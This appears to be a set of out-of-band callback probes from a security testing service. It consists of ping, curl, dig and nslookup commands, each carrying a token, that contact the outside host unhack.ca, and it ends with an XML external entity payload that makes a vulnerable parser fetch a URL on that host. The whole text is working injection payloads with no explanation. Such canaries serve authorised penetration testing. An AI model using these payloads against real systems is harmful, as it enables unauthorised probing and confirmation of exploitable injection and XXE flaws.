$ ping -c1 -p 00a32536aab27216a6411b8657a41d00 unhack.ca
 

$ curl http://unhack.ca/p/a32536aab27216a6411b8657a41d
 

$ dig a32536aab27216a6411b8657a41d @unhack.ca
 

$ dig a32536aab27216a6411b8657a41d.ns.unhack.ca
 

C:\> nslookup a32536aab27216a6411b8657a41d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a32536aab27216a6411b8657a41d">]>
    <foo>&xxe;</foo>